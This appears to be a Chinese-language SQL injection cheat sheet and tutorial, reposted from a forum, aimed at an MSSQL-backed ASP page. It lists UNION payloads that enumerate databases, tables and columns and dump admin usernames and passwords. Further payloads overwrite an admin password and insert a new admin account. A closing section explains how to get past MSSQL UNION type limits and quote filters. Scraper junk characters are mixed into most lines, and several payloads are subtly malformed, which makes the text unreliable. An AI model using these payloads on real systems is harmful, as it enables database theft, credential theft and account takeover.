爆库:
' J/ y9 d% x# `4 [http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--
, K4 u: i+ S4 I" r9 f: aSELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA." @: W- R# k& j% Y6 [: X. R8 M+ E
爆下一个库:4 R% Q O$ ]( k0 |
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')-- Y1 t+ i$ B: F N: W. [
4 Y( Z+ r3 x' Z爆表:" F' x/ Z7 D" i
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
, {. U5 N- q- `4 a
4 Q. Y+ { X( q+ R# U2 x4 CSELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.3 }% D2 m# T; E) v8 z- }8 j
5 O" O# ^" I! m0 g( d爆下一个表& y n8 z }9 W" ?
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
, V3 N/ D. i: m4 l' E
5 p7 D H9 o: t% Y) W0 Thttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--3 j- v# A7 O, k/ F4 i( e
8 D% X) x8 b5 p& z( F
2 ?2 A k, @7 z; U( w( t) |& D/ L
5 M6 Q* j( _6 f: C& B; j" j爆字段:0 L& ^6 C: G' Y0 S5 u% z
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--( V0 j1 y. h; L6 f5 d/ L7 z
# P1 j6 S$ u: }9 G2 n爆下一个字段; s5 V( E$ |5 x
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
1 I2 Z9 L6 I% R7 N! S6 `: ^- i% `8 a; `4 m' `
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
7 X- u! H1 ]! H2 `9 U; T( `( t
0 Y' m' N! ]6 d6 q9 E7 r+ g6 X1 H6 J/ A8 z
爆字段里的内容) G3 J. W- H' U
http://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--- Z0 ]! |% M% Q+ m- r7 f4 A
4 g/ ?- l- D9 ]4 u' O
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--0 J/ c: o% X; ~* l4 s1 k* N x
0 o$ Z% @, ]2 j2 v- E
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--) N5 X9 ?! d3 G& D3 G4 F* m- s& r9 T
" _8 F" _+ D% q7 r5 i
http://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--+ u( F; I9 ~# C' v2 {
( g! C9 o- n5 r
更新字段里的内容* S2 E U4 L, E: b! H
http://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--; ?1 I+ ?( n, C. H% e5 M0 }1 d% z
9 G* W$ i3 A+ ?3 whttp://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--
+ f2 U# Z3 `; S3 E
3 k: ^3 L- }! ? b' D: I! ?( h' K! f9 b1 R
+ u6 e3 v. B0 y/ [ O, {4 \9 L
在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。" Q- O5 ^5 K$ U% ]8 p2 @7 y6 b
第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。
: n/ C8 w' U( @3 U, T 第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。
' b3 ?7 w1 k+ X) `; h% \; d 最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。3 a5 m5 C) s* X+ c S! Y |& x" L) l
$ e3 m3 n. n4 l" M% D; {( G. Z- ]
突了了大部份限制的语句
2 ~' w% w- J: y( N9 Y9 hand 1=2 union all select char(49),char(50),null,null;--$ | ?, K( L4 ~" Z }9 D
" B0 E* b, {/ d5 _) Q9 a+ M
( B/ C; i5 k n. p9 {null也可以正常执行,不过没有回显,不好判断回显的列数。* N4 @+ A' [& j* p2 [2 |9 F
一般union遇到问题都是有text或者ntext字段,image的很少遇到
2 R: f1 i! B+ }7 }7 V: O7 g: ]2 T% e( U3 t8 w( o
可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟
* ?! U1 u. v3 J( W
& c6 Q$ u( ~1 m' j# @+ I2 ?- Z% D2 s+ Z [! I! w- j b% D
|